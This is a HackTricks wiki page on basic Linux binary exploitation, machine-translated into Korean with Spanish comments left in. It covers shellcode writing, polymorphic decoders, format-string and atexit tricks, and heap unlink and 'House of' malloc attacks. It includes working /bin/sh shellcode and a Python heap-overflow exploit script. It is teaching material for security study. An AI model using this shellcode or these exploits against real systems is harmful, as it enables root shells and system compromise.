.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
2.SHELLCODE
커널 인터럽션 보기: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; eax 초기화
xor ebx, ebx ; ebx = 0, 인자가 없으므로
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; 시스템 호출 실행
nasm -f elf assembly.asm —> .o 파일 반환
ld assembly.o -o shellcodeout —> 어셈블리 코드로 구성된 실행 파일 생성, objdump로 opcodes 추출 가능
objdump -d -Mintel ./shellcodeout —> 실제로 우리의 shellcode인지 확인하고 OpCodes 추출
shellcode가 작동하는지 확인
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
시스템 호출이 올바르게 수행되는지 확인하려면 이전 프로그램을 컴파일해야 하며 시스템 호출은 strace ./PROGRAMA_COMPILADO에 나타나야 합니다.
쉘코드를 생성할 때 트릭을 사용할 수 있습니다. 첫 번째 명령어는 call로 점프하는 것입니다. call은 원래 코드를 호출하고 EIP를 스택에 넣습니다. call 명령어 이후에 필요한 문자열을 넣었으므로, 이 EIP를 사용하여 문자열을 가리키고 코드를 계속 실행할 수 있습니다.
EJ TRUCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ 스택 사용(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Huter:
프로세스와 연결된 메모리 페이지를 순회하여 거기에 저장된 shellcode를 찾는 작은 코드로 구성됩니다(여기서 shellcode에 설정된 서명을 찾습니다). 코드를 주입할 수 있는 공간이 적은 경우에 유용합니다.
Shellcodes polimórficos
암호화된 shell로 구성되며, 이를 해독하고 점프하는 작은 코드가 포함되어 있습니다. Call-Pop 트릭을 사용하여, 이것은 예시 암호화된 cesar입니다:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. 보완 방법
무라트 기법
리눅스에서 모든 프로그램은 0xbfffffff에서 시작하여 매핑됩니다.
리눅스에서 새로운 프로세스의 스택이 어떻게 구성되는지를 보면, 프로그램이 shellcode만 있는 환경에서 시작되도록 exploit를 개발할 수 있습니다. 이 주소는 다음과 같이 계산할 수 있습니다: addr = 0xbfffffff - 4 - strlen(전체_실행파일_이름) - strlen(shellcode)
이렇게 하면 shellcode가 있는 환경 변수의 주소를 쉽게 얻을 수 있습니다.
이는 execle 함수가 원하는 환경 변수만 포함된 환경을 생성할 수 있게 해주기 때문에 가능합니다.
버퍼 오버플로우를 위한 포맷 문자열
sprintf는 포맷된 문자열을 변수로 이동시킵니다. 따라서 문자열의 포맷팅을 악용하여 내용이 복사되는 변수에서 버퍼 오버플로우를 유발할 수 있습니다.
예를 들어, 페이로드 %.44xAAAA
는 변수에 44B+"AAAA"를 씁니다, 이는 버퍼 오버플로우를 유발할 수 있습니다.
__atexit 구조체
{% hint style="danger" %} 현재는 이를 악용하기 매우 어렵습니다. {% endhint %}
**atexit()
**는 다른 함수들이 매개변수로 전달되는 함수입니다. 이 함수들은 **exit()
**를 실행하거나 main의 return 시에 실행됩니다.
이러한 함수들 중 하나의 주소를 shellcode를 가리키도록 수정할 수 있다면, 프로세스의 제어를 얻을 수 있습니다, 하지만 현재는 더 복잡합니다.
현재 실행될 함수들의 주소는 여러 구조 뒤에 숨겨져 있으며, 최종적으로 가리키는 주소는 함수의 주소가 아니라 XOR로 암호화되고 무작위 키로 이동됩니다. 따라서 현재 이 공격 벡터는 x86 및 x64_86에서는 그다지 유용하지 않습니다.
암호화 함수는 **PTR_MANGLE
**입니다. m68k, mips32, mips64, aarch64, arm, hppa와 같은 다른 아키텍처는 암호화 함수를 구현하지 않습니다. 왜냐하면 이 함수는 입력으로 받은 것과 같은 값을 반환하기 때문입니다. 따라서 이러한 아키텍처는 이 벡터로 공격할 수 있습니다.
setjmp() & longjmp()
{% hint style="danger" %} 현재는 이를 악용하기 매우 어렵습니다. {% endhint %}
**setjmp()
**는 컨텍스트(레지스터)를 저장할 수 있게 해줍니다.
**longjmp()
**는 컨텍스트를 복원할 수 있게 해줍니다.
저장된 레지스터는: EBX, ESI, EDI, ESP, EIP, EBP
문제는 EIP와 ESP가 PTR_MANGLE
함수에 의해 전달된다는 것입니다. 따라서 이 공격에 취약한 아키텍처는 위와 동일합니다.
이들은 오류 복구나 인터럽트에 유용합니다.
그러나 제가 읽은 바에 따르면, 다른 레지스터는 보호되지 않으므로, **함수 내에서 call ebx
, call esi
또는 call edi
**가 있다면 제어를 가져올 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다.
C++의 VTable 및 VPTR
각 클래스는 메서드에 대한 포인터 배열인 Vtable을 가집니다.
각 클래스의 객체는 VPtr을 가지며, 이는 해당 클래스의 배열에 대한 포인터입니다. VPtr은 각 객체의 헤더의 일부이므로, VPtr을 수정하여 더미 메서드를 가리키도록 하면 함수를 실행할 때 shellcode로 이동할 수 있습니다.
예방 조치 및 회피 방법
Libsafe 대체
다음과 같이 활성화됩니다: LD_PRELOAD=/lib/libsafe.so.2
또는
“/lib/libsave.so.2” > /etc/ld.so.preload
안전하지 않은 일부 함수 호출을 안전한 다른 함수로 가로챕니다. 표준화되어 있지 않습니다. (x86 전용, -fomit-frame-pointer로 컴파일된 경우, 정적 컴파일이 아닌 경우, 모든 취약한 함수가 안전해지지 않으며 LD_PRELOAD는 suid가 있는 바이너리에서는 작동하지 않습니다).
ASCII 방어 주소 공간
0x00000000에서 0x00ffffff까지 공유 라이브러리를 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 실제로 거의 모든 공격을 막지 못하며, 특히 little endian에서는 더욱 그렇습니다.
ret2plt
ROP를 수행하여 strcpy@plt(plt의 함수)를 호출하고 GOT의 항목을 가리키며 호출하려는 함수(system())의 첫 번째 바이트를 복사합니다. 그 다음 GOT+1을 가리키며 system()의 두 번째 바이트를 복사합니다... 마지막으로 GOT에 저장된 주소를 호출하여 system()이 됩니다.
chroot()를 이용한 샌드박스
debootstrap -arch=i386 hardy /home/user —> 특정 하위 디렉토리 아래에 기본 시스템을 설치합니다.
관리자는 다음과 같이 이러한 샌드박스 중 하나에서 나올 수 있습니다: mkdir foo; chroot foo; cd ..
코드 계측
Valgrind —> 오류 검색
Memcheck
RAD (Return Address Defender)
Insure++
8 힙 오버플로우: 기본 익스플로잇
할당된 조각
prev_size |
size | —헤더
*mem | 데이터
자유 조각
prev_size |
size |
*fd | 다음 조각 포인터
*bk | 이전 조각 포인터 —헤더
*mem | 데이터
자유 조각은 이중 연결 리스트(bin)에 있으며, 두 개의 자유 조각이 함께 있을 수 없습니다(결합됨).
“size”에는 다음을 나타내는 비트가 있습니다: 이전 조각이 사용 중인지, mmap()을 통해 할당되었는지, 조각이 기본 아레나에 속하는지.
조각을 해제할 때 인접한 조각 중 하나가 자유로워지면, unlink() 매크로를 통해 결합되고, 더 큰 새 조각이 frontlink()로 전달되어 적절한 bin에 삽입됩니다.
unlink(){
BK = P->bk; —> 새 조각의 BK는 이전에 자유로웠던 조각의 BK입니다.
FD = P->fd; —> 새 조각의 FD는 이전에 자유로웠던 조각의 FD입니다.
FD->bk = BK; —> 다음 조각의 BK가 새 조각을 가리킵니다.
BK->fd = FD; —> 이전 조각의 FD가 새 조각을 가리킵니다.
}
따라서 P->bk를 shellcode의 주소로 수정하고 P->fd를 GOT 또는 DTORS의 주소 - 12로 수정하면:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
이렇게 하면 프로그램 종료 시 shellcode가 실행됩니다.
또한 unlink()의 4번째 문장은 무언가를 쓰며, shellcode는 이를 위해 수정되어야 합니다:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> 이는 shellcode의 8번째 바이트부터 4바이트를 쓰게 하므로, shellcode의 첫 번째 명령은 이를 건너뛰고 나머지 shellcode로 이어지는 jmp이어야 합니다.
따라서 익스플로잇은 다음과 같이 생성됩니다:
buffer1에 shellcode를 넣고 jmp로 시작하여 nops 또는 나머지 shellcode로 떨어지게 합니다.
shellcode 뒤에는 prev_size와 다음 조각의 size 필드에 도달할 때까지 패딩을 넣습니다. 이 위치에 0xfffffff0을 넣어 prev_size가 자유로움을 나타내도록 하고, size에 “-4”(0xfffffffc)를 넣습니다 (이렇게 하면 3번째 조각에서 2번째 조각이 실제로 자유로웠는지 확인할 때 수정된 prev_size로 가게 됩니다) -> 이렇게 하면 free()가 조사할 때 3번째 조각의 size로 가지만 실제로는 2번째 조각 - 4로 가서 2번째 조각이 자유롭다고 생각하게 됩니다. 그리고 그러면 **unlink()**를 호출합니다.
unlink()를 호출할 때 P->fd는 2번째 조각의 첫 번째 데이터를 사용하므로, 여기에는 덮어쓰려는 주소 - 12(왜냐하면 FD->bk에 12를 더하기 때문입니다)로 들어가게 됩니다. 그리고 그 주소에 2번째 조각에서 찾은 두 번째 주소를 넣게 되며, 이는 shellcode의 주소여야 합니다(P->bk 가짜).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes의 패딩
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #이전 조각이 자유로움을 나타내는 비트가 1이 되도록 합니다.
fake_size = pack("<I”, 0xfffffffc) #-4, 3번째 조각의 size가 4바이트 뒤에 있다고 생각하게 하여 prev_size를 가리킵니다.
addr_sc = pack("<I", 0x0804a008 + 8) #페이로드의 처음에 8바이트의 패딩을 넣습니다.
got_free = pack("<I", 0x08048300 - 12) #free()의 plt에서의 주소 -12 (이 주소가 shellcode를 실행하도록 덮어씌워질 것입니다).
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #페이로드는 8바이트의 패딩으로 시작합니다.
payload += prev_size + fake_size + got_free + addr_sc #2번째 조각을 수정하고, got_free는 addr_sc + 12의 주소를 가리킵니다.
os.system("./8.3.o " + payload)
unset() 역방향으로 해제하기 (wargame)
우리는 3개의 연속 조각을 제어하고 있으며, 이들은 예약된 순서의 역순으로 해제됩니다.
이 경우:
조각 c에 shellcode를 넣습니다.
조각 a는 b를 덮어쓰는 데 사용되며, size가 PREV_INUSE 비트를 비활성화하여 조각 a가 자유롭다고 생각하게 합니다.
또한, b의 헤더에서 size를 -4로 덮어씁니다.
그럼 프로그램은 “a”가 자유롭고 bin에 있다고 생각하여 unlink()를 호출합니다. 그러나 PREV_SIZE 헤더가 -4이므로, “a”의 조각이 실제로 b+4에서 시작한다고 생각하게 됩니다. 즉, b+4에서 unlink()를 수행하게 되며, b+12에 fd 포인터가 있고 b+16에 bk 포인터가 있게 됩니다.
이렇게 하면 bk에 shellcode의 주소를 넣고 fd에 “puts()”의 주소 -12를 넣으면 payload가 완성됩니다.
프론트링크 기법
프론트링크는 어떤 것을 해제할 때 그 인접 조각이 자유롭지 않을 경우 호출됩니다. unlink()를 호출하지 않고 직접 frontlink()를 호출합니다.
malloc이 공격받는 경우 결코 해제되지 않는 경우 유용한 취약점입니다.
필요한 것:
입력 데이터 함수로 오버플로우할 수 있는 버퍼
해제되어야 할 인접 버퍼, 이 버퍼의 헤더 fd 필드를 이전 버퍼의 오버플로우로 수정합니다.
해제할 버퍼는 512보다 크지만 이전 버퍼보다 작아야 합니다.
3단계 이전에 선언된 버퍼가 prev_size를 덮어쓸 수 있어야 합니다.
이렇게 두 개의 malloc에서 비제어적으로 덮어쓰고 하나에서 제어된 방식으로 해제하면 익스플로잇을 만들 수 있습니다.
double free() 취약점
같은 포인터로 free()를 두 번 호출하면 두 개의 bin이 같은 주소를 가리키게 됩니다.
하나를 다시 사용하려고 하면 문제없이 할당됩니다. 다른 하나를 사용하려고 하면 같은 공간이 할당되므로, “fd”와 “bk” 포인터가 이전 할당의 데이터로 잘못 설정됩니다.
free() 이후
이전에 해제된 포인터가 다시 제어 없이 사용됩니다.
8 힙 오버플로우: 고급 익스플로잇
unlink() 및 frontlink() 기법은 unlink() 함수를 수정하여 제거되었습니다.
마음의 집
임의의 코드를 실행하기 위해서는 free() 호출이 하나만 필요합니다. 이전에 해제된 조각이 다음 조각으로 사용될 수 있도록 찾는 것이 중요합니다.
free() 호출은 public_fREe(mem)을 호출하게 되며, 이는 다음을 수행합니다:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mem); —> 조각이 시작되는 주소에 대한 포인터를 반환합니다 (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
[1]에서 size 필드의 NON_MAIN_ARENA 비트를 확인하며, 이 비트를 변경하여 확인이 true로 반환되도록 할 수 있습니다. 그러면 heap_for_ptr()가 “mem”에 대해 AND 연산을 수행하여 2.5 비트를 0으로 만듭니다 (우리의 경우 0x0804a000에서 0x08000000으로 남습니다) 그리고 0x08000000->ar_ptr에 접근합니다 (struct heap_info처럼).
이렇게 하면 예를 들어 0x0804a000에서 조각을 제어할 수 있고, 0x081002a0에서 조각이 해제되면 0x08100000 주소에 접근하여 원하는 것을 쓸 수 있습니다. 예를 들어 0x0804a000을 쓸 수 있습니다. 이 두 번째 조각이 해제되면 heap_for_ptr(ptr)->ar_ptr가 0x08100000에 쓴 값을 반환합니다 (왜냐하면 이전에 본 AND가 0x081002a0에 적용되며, 그로부터 4바이트의 값이 추출되기 때문입니다).
이렇게 하면 _int_free(ar_ptr, mem) 즉, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
앞서 본 것처럼 av의 값을 제어할 수 있습니다. 이는 우리가 해제할 조각에 쓴 것입니다.
unsorted_chunks가 정의된 대로, 우리는 다음을 알고 있습니다:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
따라서 av->bins[2]에 __DTOR_END__-12의 값을 쓰면 마지막 명령에서 __DTOR_END__에 두 번째 조각의 주소가 쓰여집니다.
즉, 첫 번째 조각의 시작 부분에 여러 번 __DTOR_END__-12의 주소를 넣어야 합니다. 왜냐하면 av->bins[2]가 그 주소를 가져가기 때문입니다.
두 번째 조각의 마지막 5개의 0이 있는 주소에 첫 번째 조각의 주소를 써야 heap_for_ptr()가 ar_ptr가 첫 번째 조각의 시작 부분에 있다고 생각하게 하고, av->bins[2]를 그곳에서 가져오게 됩니다.
두 번째 조각에서 첫 번째 조각 덕분에 prev_size를 0x0c로 덮어쓰고 size를 NON_MAIN_ARENA를 활성화하는 값으로 설정합니다.
그 다음 두 번째 조각에 nops를 많이 넣고 마지막으로 shellcode를 넣습니다.
이렇게 하면 _int_free(TROZO1, TROZO2)가 호출되고, prev_size의 주소가 __DTOR_END__에 쓰여져 shellcode로 점프하게 됩니다.
이 기술을 적용하기 위해서는 몇 가지 추가 요구 사항이 충족되어야 하며, 이는 페이로드를 조금 더 복잡하게 만듭니다.
이 기술은 unlink에 대한 거의 동일한 패치가 적용되었기 때문에 더 이상 적용할 수 없습니다. 새로 가리키는 위치가 자신을 가리키고 있는지 비교합니다.
Fastbin
이는 마음의 집의 변형입니다.
우리는 다음 코드를 실행할 수 있도록 하는 것이 중요합니다. 이는 _int_free() 함수의 첫 번째 확인을 통과한 후에 도달합니다.
fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
이렇게 하면 “fb”에 GOT의 함수 주소가 들어가고, 이 주소에 덮어쓴 조각의 주소가 들어갑니다. 이를 위해서는 arena가 dtors 주소 근처에 있어야 합니다. 더 정확히는 av->max_fast가 덮어쓸 주소에 있어야 합니다.
마음의 집에서 av의 위치를 제어할 수 있음을 알았습니다.
따라서 size 필드에 8 + NON_MAIN_ARENA + PREV_INUSE를 넣으면 fastbin_index()는 fastbins[-1]을 반환하여 av->max_fast를 가리킵니다.
이 경우 av->max_fast는 덮어쓸 주소가 됩니다 (가리키는 것이 아니라, 그 위치가 덮어씌워집니다).
또한 해제된 조각의 인접 조각이 8보다 커야 합니다 -> 우리가 해제된 조각의 size가 8이라고 했으므로, 이 가짜 조각에는 8보다 큰 size만 넣으면 됩니다 (또한 shellcode가 해제된 조각에 들어가므로, 처음에 nops로 떨어지는 jmp를 넣어야 합니다).
또한, 이 가짜 조각은 av->system_mem보다 작아야 합니다. av->system_mem은 1848바이트 더 멀리 있습니다.
__DTOR_END_의 null로 인해 및 GOT의 적은 주소로 인해, 이러한 섹션의 주소는 덮어쓰기에 적합하지 않으므로, 스택을 공격하기 위해 fastbin을 적용하는 방법을 살펴보겠습니다.
또 다른 공격 방법은 av를 스택으로 리디렉션하는 것입니다.
size를 8 대신 16으로 수정하면 fastbin_index()는 fastbins[0]을 반환하고, 이를 사용하여 스택을 덮어쓸 수 있습니다.
이 경우 canary나 스택에 이상한 값이 없어야 하며, 실제로는 다음과 같은 상태여야 합니다: 4바이트 null + EBP + RET
4바이트 null은 av가 이 주소에 있어야 하며, av의 첫 번째 요소는 0이어야 하는 뮤텍스입니다.
av->max_fast는 EBP가 되며, 이는 제약을 우회하는 데 유용한 값이 됩니다.
**av->fastbins[0]**는 p의 주소로 덮어쓰여지며, RET가 되어 shellcode로 점프하게 됩니다.
또한, av->system_mem (스택 위치에서 1484바이트 위)에는 제약을 우회할 수 있는 많은 쓰레기가 있습니다.
또한 해제된 조각의 인접 조각이 8보다 커야 합니다 -> 우리가 해제된 조각의 size가 16이라고 했으므로, 이 가짜 조각에는 8보다 큰 size만 넣으면 됩니다 (또한 shellcode가 해제된 조각에 들어가므로, 처음에 nops로 떨어지는 jmp를 넣어야 합니다).
정신의 집
이 경우 공격자가 변경할 수 있는 malloc에 대한 포인터를 얻는 것이 목표입니다 (예: 포인터가 변수에 대한 가능한 오버플로우 아래 스택에 있을 수 있습니다).
이렇게 하면 이 포인터가 원하는 곳을 가리키도록 할 수 있습니다. 그러나 모든 위치가 유효한 것은 아니며, 가짜 조각의 크기는 av->max_fast보다 작아야 하며, 더 구체적으로는 향후 malloc() 호출에서 요청된 크기 + 8과 같아야 합니다. 따라서 이 취약한 포인터 뒤에 malloc(40)을 호출할 것이라고 알고 있다면, 가짜 조각의 크기는 48이어야 합니다.
예를 들어 프로그램이 사용자에게 숫자를 요청한다면 48을 입력하여 변경 가능한 malloc 포인터를 다음 4바이트(운 좋게도 EBP에 속할 수 있음)로 가리키게 할 수 있습니다. 이렇게 하면 48이 뒤에 남아 마치 헤더 size처럼 보이게 됩니다. 또한 ptr-4+48 주소는 여러 조건을 충족해야 합니다 (이 경우 ptr=EBP), 즉, 8 < ptr-4+48 < av->system_mem.
이 조건이 충족되면, 다음 malloc 호출이 malloc(40)일 때, EBP 주소가 할당됩니다. 공격자가 이 malloc에 쓰는 것을 제어할 수 있다면 EBP와 EIP를 원하는 주소로 덮어쓸 수 있습니다.
이것은 free()가 스택의 EBP 주소에 있는 조각이 새로 요청된 malloc()에 적합한 크기를 가진 조각으로 기록되도록 하기 위해 그렇게 할 것입니다.
힘의 집
필요한 것:
- wilderness를 덮어쓸 수 있는 조각에 대한 오버플로우
- 사용자가 정의한 크기로 malloc() 호출
- 사용자가 정의할 수 있는 malloc() 호출
먼저 wilderness 조각의 size를 매우 큰 값(0xffffffff)으로 덮어씌웁니다. 이렇게 하면 충분히 큰 메모리 요청은 _int_malloc()에서 처리되며, 힙을 확장할 필요가 없습니다.
두 번째로 av->top을 공격자가 제어할 수 있는 메모리 영역(예: 스택)을 가리키도록 변경합니다. av->top에는 &EIP - 8이 들어갑니다.
우리는 av->top을 공격자가 제어할 수 있는 메모리 영역을 가리키도록 덮어써야 합니다:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim은 현재 wilderness 조각의 주소(현재 av->top)의 값을 가져오고, remainder는 그 주소에 malloc() 요청된 바이트 수를 더한 것입니다. 따라서 &EIP-8이 0xbffff224에 있고 av->top이 0x080c2788에 있다면, 다음 malloc()에서 av->top이 $EIP-8을 가리키도록 하려면 malloc에서 요청해야 할 크기는:
0xbffff224 - 0x080c2788 = 3086207644.
이렇게 하면 av->top에 변경된 값이 저장되고, 다음 malloc은 EIP를 가리키게 되어 이를 덮어쓸 수 있습니다.
중요한 것은 새 wilderness 조각의 size가 마지막 malloc() 요청보다 커야 한다는 것입니다. 즉, wilderness가 &EIP-8을 가리키고 있다면, size는 스택의 EBP 필드에 정확히 위치하게 됩니다.
전설의 집
SmallBin 손상
해제된 조각은 크기에 따라 bin에 삽입됩니다. 그러나 삽입되기 전에 unsorted bins에 저장됩니다. 조각이 해제되면 즉시 bin에 들어가지 않고 unsorted bins에 남아 있습니다. 그 후, 새 조각이 예약되고 이전에 해제된 조각이 유용하다면 반환되지만, 더 큰 조각이 예약되면 unsorted bins의 해제된 조각이 적절한 bin에 들어갑니다.
취약한 코드를 도달하기 위해 메모리 요청은 av->max_fast(보통 72)보다 커야 하며, MIN_LARGE_SIZE(512)보다 작아야 합니다.
bin에 요청된 크기에 적합한 조각이 있다면, 그 조각이 해제된 후에 반환됩니다:
bck = victim->bk; 이전 조각을 가리키며, 우리가 변경할 수 있는 유일한 정보입니다.
bin->bk = bck; 이전 조각이 마지막 조각이 되며, bck가 스택을 가리키면 다음 예약된 조각에 이 주소가 주어집니다.
bck->fd = bin; 이 리스트를 닫아 bin을 가리키게 합니다.
필요한 것:
두 개의 malloc을 예약하여 첫 번째가 오버플로우된 후 두 번째가 해제되고 bin에 들어가도록 합니다 (즉, 두 번째 조각보다 큰 malloc을 예약한 후 오버플로우를 수행해야 합니다).
공격자가 선택한 주소를 가진 malloc은 공격자가 제어해야 합니다.
목표는 다음과 같습니다. 만약 우리가 아래에 해제된 조각이 있는 힙에 오버플로우를 수행할 수 있다면, bk 포인터를 변경할 수 있습니다. bk 포인터를 변경하고 이 조각이 bin의 첫 번째가 되면, malloc이 이 조각의 다음 조각이 잘못된 주소에 있다고 믿게 됩니다 (스택이나 GOT 등). 따라서 다른 조각을 다시 예약하면 공격자가 원하는 위치에 조각을 할당받고 그곳에 쓸 수 있습니다.
수정된 조각을 해제한 후에는 해제된 조각보다 큰 조각을 예약해야 하며, 그렇게 하면 수정된 조각이 unsorted bins에서 제거되고 적절한 bin에 들어가게 됩니다.
bin에 들어가면 오버플로우를 통해 bk 포인터를 수정하여 우리가 덮어쓰고자 하는 주소를 가리키도록 합니다.
따라서 bin은 malloc()이 충분히 호출되어 수정된 bin이 다시 사용될 때까지 대기해야 하며, 다음 조각이 잘못된 주소에 있다고 믿게 됩니다. 그 후, 우리가 원하는 조각이 제공됩니다.
취약점이 가능한 한 빨리 실행되도록 하려면 이상적인 순서는 다음과 같습니다: 취약한 조각 예약, 수정될 조각 예약, 이 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정(취약점), 취약한 조각과 같은 크기의 조각 예약, 두 번째 조각 예약하여 이 조각이 선택한 주소를 가리키게 합니다.
이 공격을 방어하기 위해 일반적인 확인이 사용되었습니다. 즉, 조각이 “가짜”가 아닌지 확인합니다: bck->fd가 victim을 가리키고 있는지 확인합니다. 즉, 우리의 경우 스택에서 가리키는 fd* 포인터가 victim을 가리키고 있는지 확인합니다. 이 보호를 우회하기 위해 공격자는 아마도 스택을 통해 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다. 그렇게 하면 진짜 조각처럼 보이게 됩니다.
LargeBin 손상
이전과 동일한 요구 사항이 필요하며, 추가로 예약된 조각은 512보다 커야 합니다.
공격은 이전과 유사하며, bk 포인터를 수정해야 하며, 모든 malloc() 호출이 필요하지만, 수정된 조각의 size를 size - nb가 < MINSIZE가 되도록 수정해야 합니다.
예를 들어 size를 1552로 설정하면 1552 - 1544 = 8 < MINSIZE가 됩니다 (뺄셈이 음수가 될 수는 없습니다. unsigned를 비교하기 때문입니다).
또한 이를 더욱 복잡하게 만들기 위해 패치가 도입되었습니다.
힙 스프레이
기본적으로 가능한 모든 메모리를 예약하고 이를 nops로 채운 후 shellcode로 채우는 것입니다. 또한, 0x0c로 패딩을 사용합니다. 이렇게 하면 0x0c0c0c0c 주소로 점프하려고 시도하며, 이 주소가 덮어쓰여지면 그곳으로 점프하게 됩니다. 기본적으로 전략은 가능한 한 많이 예약하여 포인터가 덮어쓰여지는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nops가 있기를 기대하는 것입니다.
힙 펑 후이
예약 및 해제를 통해 메모리를 조작하여 자유 조각 사이에 예약된 조각이 있도록 합니다. 오버플로우할 버퍼는 이러한 조각 중 하나에 위치하게 됩니다.
objdump -d 실행파일 —> 함수 디스어셈블
objdump -d ./프로그램 | grep 함수 —> 함수 주소 가져오기
objdump -d -Mintel ./shellcodeout —> 실제로 우리의 shellcode인지 확인하고 OpCodes를 추출하기 위해
objdump -t ./exec | grep varBss —> 심볼 테이블, 변수 및 함수 주소 추출
objdump -TR ./exec | grep exit(func lib) —> 라이브러리 함수 주소 추출 (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> GOT에서 덮어쓸 puts 주소 추출
objdump -D ./exec —> 모든 것을 디스어셈블하여 plt 항목까지
objdump -p -/exec
Info functions strncmp —> gdb에서 함수 정보
흥미로운 과정
참고 문헌
{% hint style="success" %}
AWS 해킹 배우고 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우고 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter에서 팔로우하세요 🐦 @hacktricks_live.**
- HackTricks 및 HackTricks Cloud GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.